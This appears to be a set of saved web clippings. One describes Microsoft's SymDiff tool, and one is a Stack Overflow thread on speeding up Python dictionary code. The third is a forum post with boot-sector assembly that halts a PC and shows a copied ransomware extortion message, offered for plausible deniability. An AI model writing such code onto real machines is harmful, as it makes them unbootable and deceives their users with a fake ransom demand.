**Updated:**| _12/7/2012 1:21:02 PM_  
**Author:**| __  
**Tags:**| _semantic constraint solving diffing_  
  
  

SymDiff: Static semantic diff

SymDiff \(aka Symbolic Differencing\) is an infrastructure for leveraging and
extending program verification to reason about program changes. In a nutshell,
Symdiff can be summarized as Windiff for behaviors. It builds up on recent
advances on program equivalence checking using automated SMT solvers. However,
it extends beyond program equivalence and deals with questions such as: \(1\)
can one infer the conditions under which two programs are equivalent? \(2\)
how do the changes affect the public API?

The tool is language-independent and works at the level of Boogie programming
language. The intent is to be able to target various source languages \(C,
C++, .NET, x86\) using translators to Boogie. We currently have a tool for C
programs, that is available internally in MS. We will shortly release an
external version soon. Stay tuned\!

# Visitor

  * Ofer Strichman

# Interns

  * Ming Kawaguchi
  * Henrique Rebelo
  * Rahul Sharma

People

<img src='img/Temp2_7804.png' width='72' height='72' alt='Chris Hawblitzel' />

Chris Hawblitzel

  

<img src='img/Temp2_7805.png' width='72' height='72' alt='Shuvendu Lahiri' />

Shuvendu Lahiri

  

Publications

  * Shuvendu Lahiri, Chris Hawblitzel, Ming Kawaguchi, and Henrique Rebelo, SymDiff: A language-agnostic semantic diff tool for imperative programs, in _Computer Aided Verification \(CAV '12\) \(Tool description\)_ , Springer, July 2012
  * Saurabh Joshi, Shuvendu Lahiri, and Akash Lal, Underspecified Harnesses and Interleaved Bugs, in _Principles of Programming Languages \(POPL\) 2012_, ACM SIGPLAN, January 2012
  * Chris Hawblitzel, Ming Kawaguchi, Shuvendu Lahiri, and Henrique Rebelo, Mutual summaries and relative termination, no. MSR-TR-2011-112, October 2011
  * Shuvendu K. Lahiri, Kapil Vaswani, and Tony Hoare, Differential Static Analysis: Opportunities, Applications, and Challenges, in _2010 FSE/SDP Workshop on the Future of Software Engineering Research \(Position paper\)_ , Association for Computing Machinery, Inc., November 2010
  * Ming Kawaguchi, Shuvendu K. Lahiri, and Henrique Rebelo, Conditional equivalence, no. MSR-TR-2010-119, October 2010

Downloads

  * SymDiff

  

# Mbr Code For Plausible Deniability - Forums

**Created:**| _12/2/2010 6:08:13 PM_  
---|---  
**Updated:**| _12/2/2010 6:08:38 PM_  
**Author:**| __  
**Tags:**| _Forensics security Filesystem_  
  
MBR ransomware Win32/RansomSeftad gave me an idea.

It ransoms your data by encrypting it, and changes the MBR to display a ransom
message.

  

You could use this message for plausible deniability.

  

I wrote the following code to display the same message as Win32/RansomSeftad:

[code]

    ; Code for MBR to display message & halt  
    ; If you adapt this program, make sure the binary code is not longer than 440 bytes (MBR code limit)  
    ; Written for NASM assembler (http://www.nasm.us) by Didier Stevens  
    ; https://DidierStevens.com  
    ; Use at your own risk  
    ;  
    ; History:  
    ;   2010/12/02: start  
      
    org 0x7C00  
      
    START:  
            xor ax, ax  
            mov ds, ax  
            mov ss, ax  
            mov sp, START  
            lea si, [HELLO]  
            xor bx, bx  
            mov ah, 0Eh  
            cld  
    PRINT_LOOP:  
            lodsb  
            test al, al  
            jz HALT  
            int 10h  
            jmp PRINT_LOOP  
    HALT:  
            cli  
            hlt  
      
    HELLO:  
            db "Your PC is blocked.", 0dh, 0ah  
            db "All the hard drives were encrypted.", 0dh, 0ah  
            db "Browse www.safe-data.ru to get an access to your system and files.", 0dh, 0ah  
            db "Any attempt to restore the drives using other way will", 0dh, 0ah  
            db "lead to inevitable data loss !!!", 0dh, 0ah  
            db "Please remember Your ID: 773921,", 0dh, 0ah  
            db "with its help your sign-on password will be generated.Enter password:"  
            db 0
    
[/code]

  

If you want to change the message, change the strings after HELLO. Don't
forget to terminate your message with byte 0x00.

  

I'm not going to explain how you change the code in your MBR. If you don't
know how to do this, it's very likely you'll corrupt the MBR and make your
machine unbootable.

Test this first in a virtual machine you can miss, and if you do it on a real
machine, do a full disk backup first and test your restore procedure first.

I only tested this in a virtual machine.

  

If you know how to change your MBR: don't forget to backup your original MBR
first.

# Optimising Python dictionary access code

**Created:**| _4/3/2011 2:25:44 PM_  
---|---  
**Updated:**| _4/3/2011 2:26:10 PM_  
**Author:**| __  
**Tags:**| _python optimisation programming_  
  

# Optimising Python dictionary access code

0 | 
## Optimising Python dictionary access code

**Question:** I've profiled my Python program to death, and there is one
function that is slowing everything down. It uses Python dictionaries heavily,
so I may not have used them in the best way. If I can't get it running faster,
I will have to re-write it in C++, so is there anyone who can help me optimise
it in Python? I hope I've given the right sort of explanation, and that you
can make some sense of my code\! Thanks in advance for any help. **My code:**
This is the offending function, profiled using line\_profiler and kernprof.
I'm running Python 2.7 I'm particularly puzzled by things like lines 363, 389
and 405, where an `if` statement with a comparison of two variables seems to
take an inordinate amount of time. I've considered using NumPy \(as it does
sparse matrices\) but I don't think it's appropriate because: \(1\) I'm not
indexing my matrix using integers \(I'm using object instances\); and \(2\)
I'm not storing simple data types in the matrix \(I'm storing tuples of a
float and an object instance\).But I'm willing to be persuaded about NumPy.If
anyone knows about NumPy's sparse matrix performance vs. Python's hash tables,
I'd be interested. Sorry I haven't given a simple example that you can run,
but this function is tied up in a much larger project and I couldn't work out
how to set up a simple example to test it, without giving you half of my code
base\!

[code]

    Timer unit: 3.33366e-10 sFile: routing_distances.pyFunction: propagate_distances_node at line 328Total time: 807.234 sLine # Hits Time Per Hit % Time Line Contents328 @profile329 def propagate_distances_node(self, node_a, cutoff_distance=200):330 331 # a makes sure its immediate neighbours are correctly in its distance table332 # because its immediate neighbours may change as binds/folding change333 737753 3733642341 5060.8 0.2 for (node_b, neighbour_distance_b_a) in self.neighbours[node_a].iteritems():334 512120 2077788924 4057.2 0.1 use_neighbour_link = False335 336 512120 2465798454 4814.9 0.1 if(node_b not in self.node_distances[node_a]): # a doesn't know distance to b337 15857 66075687 4167.0 0.0 use_neighbour_link = True338 else: # a does know distance to b339 496263 2390534838 4817.1 0.1 (node_distance_b_a, next_node) = self.node_distances[node_a][node_b]340 496263 2058112872 4147.2 0.1 if(node_distance_b_a > neighbour_distance_b_a): # neighbour distance is shorter341 81 331794 4096.2 0.0 use_neighbour_link = True342 496182 2665644192 5372.3 0.1 elif((None == next_node) and (float('+inf') == neighbour_distance_b_a)): # direct route that has just broken343 75 313623 4181.6 0.0 use_neighbour_link = True344 345 512120 1992514932 3890.7 0.1 if(use_neighbour_link):346 16013 78149007 4880.3 0.0 self.node_distances[node_a][node_b] = (neighbour_distance_b_a, None)347 16013 83489949 5213.9 0.0 self.nodes_changed.add(node_a)348 349 ## Affinity distances update350 16013 86020794 5371.9 0.0 if((node_a.type == Atom.BINDING_SITE) and (node_b.type == Atom.BINDING_SITE)):351 164 3950487 24088.3 0.0 self.add_affinityDistance(node_a, node_b, self.chemistry.affinity(node_a.data, node_b.data)) 352 353 # a sends its table to all its immediate neighbours354 737753 3549685140 4811.5 0.1 for (node_b, neighbour_distance_b_a) in self.neighbours[node_a].iteritems():355 512120 2129343210 4157.9 0.1 node_b_changed = False356 357 # b integrates a's distance table with its own358 512120 2203821081 4303.3 0.1 node_b_chemical = node_b.chemical359 512120 2409257898 4704.5 0.1 node_b_distances = node_b_chemical.node_distances[node_b]360 361 # For all b's routes (to c) that go to a first, update their distances362 41756882 183992040153 4406.3 7.6 for node_c, (distance_b_c, node_after_b) in node_b_distances.iteritems(): # Think it's ok to modify items while iterating over them (just not insert/delete) (seems to work ok)363 41244762 172425596985 4180.5 7.1 if(node_after_b == node_a):364 365 16673654 64255631616 3853.7 2.7 try:366 16673654 88781802534 5324.7 3.7 distance_b_a_c = neighbour_distance_b_a + self.node_distances[node_a][node_c][0]367 187083 929898684 4970.5 0.0 except KeyError:368 187083 1056787479 5648.8 0.0 distance_b_a_c = float('+inf')369 370 16673654 69374705256 4160.7 2.9 if(distance_b_c != distance_b_a_c): # a's distance to c has changed371 710083 3136751361 4417.4 0.1 node_b_distances[node_c] = (distance_b_a_c, node_a)372 710083 2848845276 4012.0 0.1 node_b_changed = True373 374 ## Affinity distances update375 710083 3484577241 4907.3 0.1 if((node_b.type == Atom.BINDING_SITE) and (node_c.type == Atom.BINDING_SITE)):376 99592 1591029009 15975.5 0.1 node_b_chemical.add_affinityDistance(node_b, node_c, self.chemistry.affinity(node_b.data, node_c.data))377 378 # If distance got longer, then ask b's neighbours to update379 ## TODO: document this!380 16673654 70998570837 4258.1 2.9 if(distance_b_a_c > distance_b_c):381 #for (node, neighbour_distance) in node_b_chemical.neighbours[node_b].iteritems():382 1702852 7413182064 4353.4 0.3 for node in node_b_chemical.neighbours[node_b]:383 1204903 5912053272 4906.7 0.2 node.chemical.nodes_changed.add(node)384 385 # Look for routes from a to c that are quicker than ones b knows already386 42076729 184216680432 4378.1 7.6 for node_c, (distance_a_c, node_after_a) in self.node_distances[node_a].iteritems():387 388 41564609 171150289218 4117.7 7.1 node_b_update = False389 41564609 172040284089 4139.1 7.1 if(node_c == node_b): # a-b path390 512120 2040112548 3983.7 0.1 pass391 41052489 169406668962 4126.6 7.0 elif(node_after_a == node_b): # a-b-a-b path392 16251407 63918804600 3933.1 2.6 pass393 24801082 101577038778 4095.7 4.2 elif(node_c in node_b_distances): # b can already get to c394 24004846 103404357180 4307.6 4.3 (distance_b_c, node_after_b) = node_b_distances[node_c]395 24004846 102717271836 4279.0 4.2 if(node_after_b != node_a): # b doesn't already go to a first396 7518275 31858204500 4237.4 1.3 distance_b_a_c = neighbour_distance_b_a + distance_a_c397 7518275 33470022717 4451.8 1.4 if(distance_b_a_c < distance_b_c): # quicker to go via a398 225357 956440656 4244.1 0.0 node_b_update = True399 else: # b can't already get to c400 796236 3415455549 4289.5 0.1 distance_b_a_c = neighbour_distance_b_a + distance_a_c401 796236 3412145520 4285.3 0.1 if(distance_b_a_c < cutoff_distance): # not too for to go402 593352 2514800052 4238.3 0.1 node_b_update = True403 404 ## Affinity distances update405 41564609 164585250189 3959.7 6.8 if node_b_update:406 818709 3933555120 4804.6 0.2 node_b_distances[node_c] = (distance_b_a_c, node_a)407 818709 4151464335 5070.7 0.2 if((node_b.type == Atom.BINDING_SITE) and (node_c.type == Atom.BINDING_SITE)):408 104293 1704446289 16342.9 0.1 node_b_chemical.add_affinityDistance(node_b, node_c, self.chemistry.affinity(node_b.data, node_c.data))409 818709 3557529531 4345.3 0.1 node_b_changed = True410 411 # If any of node b's rows have exceeded the cutoff distance, then remove them412 42350234 197075504439 4653.5 8.1 for node_c, (distance_b_c, node_after_b) in node_b_distances.items(): # Can't use iteritems() here, as deleting from the dictionary413 41838114 180297579789 4309.4 7.4 if(distance_b_c > cutoff_distance):414 206296 894881754 4337.9 0.0 del node_b_distances[node_c]415 206296 860508045 4171.2 0.0 node_b_changed = True416 417 ## Affinity distances update418 206296 4698692217 22776.5 0.2 node_b_chemical.del_affinityDistance(node_b, node_c)419 420 # If we've modified node_b's distance table, tell its chemical to update accordingly421 512120 2130466347 4160.1 0.1 if(node_b_changed):422 217858 1201064454 5513.1 0.0 node_b_chemical.nodes_changed.add(node_b)423 424 # Remove any neighbours that have infinite distance (have just unbound)425 ## TODO: not sure what difference it makes to do this here rather than above (after updating self.node_distances for neighbours)426 ## but doing it above seems to break the walker's movement427 737753 3830386968 5192.0 0.2 for (node_b, neighbour_distance_b_a) in self.neighbours[node_a].items(): # Can't use iteritems() here, as deleting from the dictionary428 512120 2249770068 4393.1 0.1 if(neighbour_distance_b_a > cutoff_distance):429 150 747747 4985.0 0.0 del self.neighbours[node_a][node_b]430 431 ## Affinity distances update432 150 2148813 14325.4 0.0 self.del_affinityDistance(node_a, node_b)
    
[/code]

**Explanation of my code:** This function maintains a sparse distance matrix
representing the network distance \(sum of edge weights on the shortest path\)
between nodes in a \(very big\) network. To work with the complete table and
use the Floyd-Warshall algorithm would be very slow. \(I tried this first, and
it was orders of magnitude slower than the current version.\) So my code uses
a sparse matrix to represent a thresholded version of the full distance matrix
\(any paths with a distance greater than 200 units are ignored\). The network
topolgy changes over time, so this distance matrix needs updating over time.
To do this, I am using a rough implementation of a distance-vector routing
protocol: each node in the network knows the distance to each other node and
the next node on the path. When a topology change happens, the node\(s\)
associated with this change update their distance table\(s\) accordingly, and
tell their immediate neighbours. The information spreads through the network
by nodes sending their distance tables to their neighbours, who update their
distance tables and spread them to their neighbours. There is an object
representing the distance matrix: `self.node_distances`. This is a dictionary
mapping nodes to routing tables. A node is an object that I've defined. A
routing table is a dictionary mapping nodes to tuples of \(distance,
next\_node\). Distance is the graph distance from node\_a to node\_b, and
next\_node is the neighbour of node\_a that you must go to first, on the path
between node\_a and node\_b. A next\_node of None indicates that node\_a and
node\_b are graph neighbours. For example, a sample of a distance matrix could
be:

[code]

    self.node_distances = { node_1 : { node_2 : (2.0, None), node_3 : (5.7, node_2), node_5 : (22.9, node_2) }, node_2 : { node_1 : (2.0, None), node_3 : (3.7, None), node_5 : (20.9, node_7)}, ...etc...
    
[/code]

Because of topology changes, two nodes that were far apart \(or not connected at all\) can become close. When this happens, entries are added to this matrix. Because of the thresholding, two nodes can become too far apart to care about. When this happens, entries are deleted from this matrix. The `self.neighbours` matrix is similar to `self.node_distances`, but contains information about the direct links \(edges\) in the network. `self.neighbours` is continually being modified externally to this function, by the chemical reaction. This is where the network topology changes come from. The actual function that I'm having problems with: `propagate_distances_node()` performs one step of the distance-vector routing protocol. Given a node, `node_a`, the function makes sure that`node_a`'s neighbours are correctly in the distance matrix \(topology changes\). The function then sends`node_a`'s routing table to all of `node_a`'s immediate neighbours in the network. It integrates`node_a`'s routing table with each neighbour's own routing table. In the rest of my program, the `propagate_distances_node()` function is called repeatedly, until the distance matrix converges. A set, `self.nodes_changed`, is maintained, of the nodes that have changed their routing table since they were last updated. On every iteration of my algorithm, a random subset of these nodes are chosen and `propagate_distances_node()` is called on them. This means the nodes spread their routing tables asynchronously and stochastically. This algorithm converges on the true distance matrix when the set `self.nodes_changed` becomes empty. The "affinity distances" parts \(`add_affinityDistance` and `del_affinityDistance`\) are a cache of a \(small\) sub-matrix of the distance matrix, that is used by a different part of the program. The reason I'm doing this is that I'm simulating computational analogues of chemicals participating in reactions, as part of my PhD. A "chemical" is a graph of "atoms" \(nodes in the graph\). Two chemicals binding together is simulated as their two graphs being joined by new edges. A chemical reaction happens \(by a complicated process that isn't relevant here\), changing the topology of the graph. But what happens in the reaction depends on how far apart the different atoms are that make up the chemicals. So for each atom in the simulation, I want to know which other atoms it is close to. A sparse, thresholded distance matrix is the most efficient way to store this information. Since the topology of the network changes as the reaction happens, I need to update the matrix. A distance-vector routing protocol is the fastest way I could come up with of doing this. I don't need a more compliacted routing protocol, because things like routing loops don't happen in my particular application \(because of how my chemicals are structured\). The reason I'm doing it stochastically is so that I can interleve the chemical reaction processes with the distance spreading, and simulate a chemical gradually changing shape over time as the reaction happens \(rather than changing shape instantly\). The `self` in this function is an object representing a chemical. The nodes in`self.node_distances.keys()` are the atoms that make up the chemical. The nodes in`self.node_distances[node_x].keys()` are nodes from the chemical and potentially nodes from any chemicals that the chemical is bound to \(and reacting with\). **Update:** I tried replacing every instance of `node_x == node_y` with `node_x is node_y` \(as per @Sven Marnach's comment\), ~~but it slowed things down\! \(I wasn't expecting that\!\)My original profile took 807.234s to run, but with this modification it increased to 895.895s.~~ Sorry, I was doing the profiling wrong\! I was using line\_by\_line, which \(on my code\) had far too much variance \(that difference of ~90 seconds was all in the noise\). When profiling it properly, `is` is detinitely faster than `==`. Using CProfile, my code with `==` took 34.394s, but with `is`, it took 33.535s \(which I can confirm is out of the noise\). **Update:** Existing libraries I'm unsure as to whether there will be an existing library that can do what I want, since my requirements are unusual:I need to compute the shortest-path lengths between all pairs of nodes in a weighted, undirected graph. I only care about path lengths that are lower than a threshold value. After computing the path lengths, I make a small change to the network topology \(adding or removing an edge\), and then I want to re-compute the path lengths. My graphs are huge compared to the threshold value \(from a given node, most of the graph is further away than the threshold\), and so the topology changes don't affect most of the shortest-path lengths. This is why I am using the routing algorithm: because this spreads topology-change information through the graph structure, so I can stop spreading it when it's gone further than the threshold. i.e., I don't need to re-compute all the paths each time. I can use the previous path information \(from before the topology change\) to speed up the calculation. This is why I think my algorithm will be faster than any library implementations of shortest-path algorithms.I've never seen routing algorithms used outside of actually routing packets through physical networks \(but if anyone has, then I'd be interested\). NetworkX was suggested by @Thomas K. It has lots of algorithms for calculating shortest paths.It has an algorithm for computing the all-pairs shortest path lengths with a cutoff \(which is what I want\), but it only works on unweighted graphs \(mine are weighted\).Unfortunately, its algorithms for weighted graphs don't allow the use of a cutoff \(which might make them slow for my graphs\). And none of its algorithms appear to support the use of pre-calculated paths on a very similar network \(i.e. the routing stuff\). igraph is another graph library that I know of, but looking at its documentation, I can't find anything about shortest-paths. But I might have missed it - its documentation doesn't seem very comprehensive. NumPy might be possible, thanks to @9000's comment. I can store my sparse matrix in a NumPy array if I assign a unique integer to each instance of my nodes. I can then index a NumPy array with integers instead of node instances. I will also need two NumPy arrays: one for the distances and one for the "next\_node" references. This might be faster than using Python dictionaries \(I don't know yet\). Does anyone know of any other libraries that might be useful? **Update:** Memory usage I'm running Windows \(XP\), so here is some info about memory usage, from Process Explorer. The CPU usage is at 50% because I have a dual-core machine. My program doesn't run out of RAM and start hitting the swap. You can see that from the numbers, and from the IO graph not having any activity. The spikes on the IO graph are where the program prints to the screen to say how it's doing. However, my program does keep using up more and more RAM over time, which is probably not a good thing \(but it's not using up much RAM overall, which is why I didn't notice the increase until now\). And the distance between the spikes on the IO graph increases over time. This is bad - my program prints to the screen every 100,000 iterations, so that means that each iteration is taking longer to execute as time goes on... I've confirmed this by doing a long run of my program and measuring the time between print statements \(the time between each 10,000 iterations of the program\). This should be constant, but as you can see from the graph, it increases linearly... so something's up there. \(The noise on this graph is because my program uses lots of random numbers, so the time for each iteration varies.\) After my program's been running for a long time, the memory usage looks like this \(so it's definitely not running out of RAM\): python optimization dictionary sparse-matrix |  link |  asked 18 days ago twitchily   
  
---|---  
## 5 Answers

up vote0down vote |  I don't see anything wrong with your code regarding performance \(without trying to grok the algorithm\), you are just getting hit by the big number of iterations. Parts of your code get executed 40 **million** times\! Notice how 80% of the time is spent in 20% of your code - and those are the 13 lines that get executed 24+ million times. By the way with this code you provide great illustration to the Pareto principle \(or "20% of beer drinkers drink 80% of the beer"\). **First things first** : have you tried Psycho? It's a JIT compiler that can greatly speed up your code - considering the big number of iterations - say by a factor of 4x-5x - and all you have to do \(after downloading and installing, of course\) is to insert this snippet in the beginning:
[code]

    import psycopsyco.full()
    
[/code]

This is why i liked Psycho and used it in GCJ too, where time is of essence -
nothing to code, nothing to get wrong and sudden boost from 2 lines added.
Back to nit-picking \(which changes like replacing `==` with `is` etc is,
because of the small % time improvement\). Here they are the 13 lines "at
fault":

[code]

    Line # Hits Time Per Hit % Time Line Contents412 42350234 197075504439 4653.5 8.1 for node_c, (distance_b_c, node_after_b) in node_b_distances.items(): # Can't use iteritems() here, as deleting from the dictionary386 42076729 184216680432 4378.1 7.6 for node_c, (distance_a_c, node_after_a) in self.node_distances[node_a].iteritems():362 41756882 183992040153 4406.3 7.6 for node_c, (distance_b_c, node_after_b) in node_b_distances.iteritems(): # Think it's ok to modify items while iterating over them (just not insert/delete) (seems to work ok)413 41838114 180297579789 4309.4 7.4 if(distance_b_c > cutoff_distance):363 41244762 172425596985 4180.5 7.1 if(node_after_b == node_a):389 41564609 172040284089 4139.1 7.1 if(node_c == node_b): # a-b path388 41564609 171150289218 4117.7 7.1 node_b_update = False391 41052489 169406668962 4126.6 7 elif(node_after_a == node_b): # a-b-a-b path405 41564609 164585250189 3959.7 6.8 if node_b_update:394 24004846 103404357180 4307.6 4.3 (distance_b_c, node_after_b) = node_b_distances[node_c]395 24004846 102717271836 4279 4.2 if(node_after_b != node_a): # b doesn't already go to a first393 24801082 101577038778 4095.7 4.2 elif(node_c in node_b_distances): # b can already get to c
    
[/code]

A\) Besides the lines you mention, i notice that \#388 has relatively high
time when it is trivial, all it does it`node_b_update = False`. Oh but wait -
each time it gets executed, `False` gets looked up in the global scope\! To
avoid that, assign `F, T = False, True` in th e beginning of the method and
replace later uses of `False` and `True` with locals `F` and `T`. This should
decrease overall time, although by little \(3%?\). B\) I notice that the
condition in \#389 occurred "only" 512,120 times \(based on number of
executions of \#390\) vs the condition in \#391 with 16,251,407. Since there
is no dependency, it makes sense to reverse the order of those checks -
because of the early "cut" that should give little boost \(2%?\). I am not
sure if avoiding `pass` statements altogether will help but if it does not
hurt readability:

[code]

    if (node_after_a is not node_b) and (node_c is not node_b): # neither a-b-a-b nor a-b path if (node_c in node_b_distances): # b can already get to c (distance_b_c, node_after_b) = node_b_distances[node_c] if (node_after_b is not node_a): # b doesn't already go to a first distance_b_a_c = neighbour_distance_b_a + distance_a_c if (distance_b_a_c < distance_b_c): # quicker to go via a node_b_update = T else: # b can't already get to c distance_b_a_c = neighbour_distance_b_a + distance_a_c if (distance_b_a_c < cutoff_distance): # not too for to go node_b_update = T
    
[/code]

C\) I just noticed you are using `try-except` in a case \(\#365-367\) you just need default value from a dictionary - try using instead `.get(key, defaultVal)` or create your dictionaries with`collections.defaultdict(itertools.repeat(float('+inf')))`. Using try-except has it's price - see \#365 reports 3.5% of the time, that's setting up stack frames and whatnot. D\) Avoid indexed access \(be it with obj`.`field or obj`[`idx`]`\) when possible. For example i see you use`self.node_distances[node_a]` in multiple places \(\#336, 339, 346, 366, 386\), which means for every use indexing is used twice \(once for `.` and once for `[]`\) - and that gets expensive when executed tens of millions of times. Seems to me you can just do at the method beginning`node_a_distances = self.node_distances[node_a]` and then use that further. |  link |  answered 18 days ago format  
---|---  
up vote0down vote |  I would have posted this as an update to my question, but Stack Overflow only allows 30000 characters in questions, so I'm posting this as an answer. **Update:** My best optimisations so far I've taken on board people's suggestions, and now my code runs about 21% faster than before, which is good - thanks everyone\! This is the best I've managed to do so far. I've replaced all the `==` tests with `is` for nodes, disabled garbage collection and re-written the big `if` statement part at Line 388, in line with @Nas Banov's suggestions. I added in the well-known `try/except` trick for avoiding tests \(line 390 - to remove the test `node_c in node_b_distances`\), which helped loads, since it hardly ever throws the exception. I tried switching lines 391 and 392 around, and assigning `node_b_distances[node_c]` to a variable, but this way was the quickest. However, I still haven't tracked down the memory leak yet \(see graph in my question\). But I think this might be in a different part of my code \(that I haven't posted here\). If I can fix the memory leak, then this program will run quickly enough for me to use :\)
[code]

    Timer unit: 3.33366e-10 sFile: routing_distances.pyFunction: propagate_distances_node at line 328Total time: 760.74 sLine # Hits Time Per Hit % Time Line Contents328 @profile329 def propagate_distances_node(self, node_a, cutoff_distance=200):330 331 # a makes sure its immediate neighbours are correctly in its distance table332 # because its immediate neighbours may change as binds/folding change333 791349 4158169713 5254.5 0.2 for (node_b, neighbour_distance_b_a) in self.neighbours[node_a].iteritems():334 550522 2331886050 4235.8 0.1 use_neighbour_link = False335 336 550522 2935995237 5333.1 0.1 if(node_b not in self.node_distances[node_a]): # a doesn't know distance to b337 15931 68829156 4320.5 0.0 use_neighbour_link = True338 else: # a does know distance to b339 534591 2728134153 5103.2 0.1 (node_distance_b_a, next_node) = self.node_distances[node_a][node_b]340 534591 2376374859 4445.2 0.1 if(node_distance_b_a > neighbour_distance_b_a): # neighbour distance is shorter341 78 347355 4453.3 0.0 use_neighbour_link = True342 534513 3145889079 5885.5 0.1 elif((None is next_node) and (float('+inf') == neighbour_distance_b_a)): # direct route that has just broken343 74 327600 4427.0 0.0 use_neighbour_link = True344 345 550522 2414669022 4386.1 0.1 if(use_neighbour_link):346 16083 81850626 5089.3 0.0 self.node_distances[node_a][node_b] = (neighbour_distance_b_a, None)347 16083 87064200 5413.4 0.0 self.nodes_changed.add(node_a)348 349 ## Affinity distances update350 16083 86580603 5383.4 0.0 if((node_a.type == Atom.BINDING_SITE) and (node_b.type == Atom.BINDING_SITE)):351 234 6656868 28448.2 0.0 self.add_affinityDistance(node_a, node_b, self.chemistry.affinity(node_a.data, node_b.data)) 352 353 # a sends its table to all its immediate neighbours354 791349 4034651958 5098.4 0.2 for (node_b, neighbour_distance_b_a) in self.neighbours[node_a].iteritems():355 550522 2392248546 4345.4 0.1 node_b_changed = False356 357 # b integrates a's distance table with its own358 550522 2520330696 4578.1 0.1 node_b_chemical = node_b.chemical359 550522 2734341975 4966.8 0.1 node_b_distances = node_b_chemical.node_distances[node_b]360 361 # For all b's routes (to c) that go to a first, update their distances362 46679347 222161837193 4759.3 9.7 for node_c, (distance_b_c, node_after_b) in node_b_distances.iteritems(): # Think it's ok to modify items while iterating over them (just not insert/delete) (seems to work ok)363 46128825 211963639122 4595.0 9.3 if(node_after_b is node_a):364 365 18677439 79225517916 4241.8 3.5 try:366 18677439 101527287264 5435.8 4.4 distance_b_a_c = neighbour_distance_b_a + self.node_distances[node_a][node_c][0]367 181510 985441680 5429.1 0.0 except KeyError:368 181510 1166118921 6424.5 0.1 distance_b_a_c = float('+inf')369 370 18677439 89626381965 4798.6 3.9 if(distance_b_c != distance_b_a_c): # a's distance to c has changed371 692131 3352970709 4844.4 0.1 node_b_distances[node_c] = (distance_b_a_c, node_a)372 692131 3066946866 4431.2 0.1 node_b_changed = True373 374 ## Affinity distances update375 692131 3808548270 5502.6 0.2 if((node_b.type == Atom.BINDING_SITE) and (node_c.type == Atom.BINDING_SITE)):376 96794 1655818011 17106.6 0.1 node_b_chemical.add_affinityDistance(node_b, node_c, self.chemistry.affinity(node_b.data, node_c.data))377 378 # If distance got longer, then ask b's neighbours to update379 ## TODO: document this!380 18677439 88838493705 4756.5 3.9 if(distance_b_a_c > distance_b_c):381 #for (node, neighbour_distance) in node_b_chemical.neighbours[node_b].iteritems():382 1656796 7949850642 4798.3 0.3 for node in node_b_chemical.neighbours[node_b]:383 1172486 6307264854 5379.4 0.3 node.chemical.nodes_changed.add(node)384 385 # Look for routes from a to c that are quicker than ones b knows already386 46999631 227198060532 4834.0 10.0 for node_c, (distance_a_c, node_after_a) in self.node_distances[node_a].iteritems():387 388 46449109 218024862372 4693.8 9.6 if((node_after_a is not node_b) and # not a-b-a-b path389 28049321 126269403795 4501.7 5.5 (node_c is not node_b)): # not a-b path390 27768341 121588366824 4378.7 5.3 try: # Assume node_c in node_b_distances ('try' block will raise KeyError if not)391 27768341 159413637753 5740.8 7.0 if((node_b_distances[node_c][1] is not node_a) and # b doesn't already go to a first392 8462467 51890478453 6131.8 2.3 ((neighbour_distance_b_a + distance_a_c) < node_b_distances[node_c][0])):393 394 # Found a route395 224593 1168129548 5201.1 0.1 node_b_distances[node_c] = (neighbour_distance_b_a + distance_a_c, node_a)396 ## Affinity distances update397 224593 1274631354 5675.3 0.1 if((node_b.type == Atom.BINDING_SITE) and (node_c.type == Atom.BINDING_SITE)):398 32108 551523249 17177.1 0.0 node_b_chemical.add_affinityDistance(node_b, node_c, self.chemistry.affinity(node_b.data, node_c.data))399 224593 1165878108 5191.1 0.1 node_b_changed = True400 401 809945 4449080808 5493.1 0.2 except KeyError:402 # b can't already get to c (node_c not in node_b_distances)403 809945 4208032422 5195.5 0.2 if((neighbour_distance_b_a + distance_a_c) < cutoff_distance): # not too for to go404 405 # These lines of code copied, for efficiency 406 # (most of the time, the 'try' block succeeds, so don't bother testing for (node_c in node_b_distances))407 # Found a route408 587726 3162939543 5381.7 0.1 node_b_distances[node_c] = (neighbour_distance_b_a + distance_a_c, node_a)409 ## Affinity distances update410 587726 3363869061 5723.5 0.1 if((node_b.type == Atom.BINDING_SITE) and (node_c.type == Atom.BINDING_SITE)):411 71659 1258910784 17568.1 0.1 node_b_chemical.add_affinityDistance(node_b, node_c, self.chemistry.affinity(node_b.data, node_c.data))412 587726 2706161481 4604.5 0.1 node_b_changed = True413 414 415 416 # If any of node b's rows have exceeded the cutoff distance, then remove them417 47267073 239847142446 5074.3 10.5 for node_c, (distance_b_c, node_after_b) in node_b_distances.items(): # Can't use iteritems() here, as deleting from the dictionary418 46716551 242694352980 5195.0 10.6 if(distance_b_c > cutoff_distance):419 200755 967443975 4819.0 0.0 del node_b_distances[node_c]420 200755 930470616 4634.9 0.0 node_b_changed = True421 422 ## Affinity distances update423 200755 4717125063 23496.9 0.2 node_b_chemical.del_affinityDistance(node_b, node_c)424 425 # If we've modified node_b's distance table, tell its chemical to update accordingly426 550522 2684634615 4876.5 0.1 if(node_b_changed):427 235034 1383213780 5885.2 0.1 node_b_chemical.nodes_changed.add(node_b)428 429 # Remove any neighbours that have infinite distance (have just unbound)430 ## TODO: not sure what difference it makes to do this here rather than above (after updating self.node_distances for neighbours)431 ## but doing it above seems to break the walker's movement432 791349 4367879451 5519.5 0.2 for (node_b, neighbour_distance_b_a) in self.neighbours[node_a].items(): # Can't use iteritems() here, as deleting from the dictionary433 550522 2968919613 5392.9 0.1 if(neighbour_distance_b_a > cutoff_distance):434 148 775638 5240.8 0.0 del self.neighbours[node_a][node_b]435 436 ## Affinity distances update437 148 2096343 14164.5 0.0 self.del_affinityDistance(node_a, node_b)
    
[/code]

|  link |  answered 18 days ago quivering  
---|---  
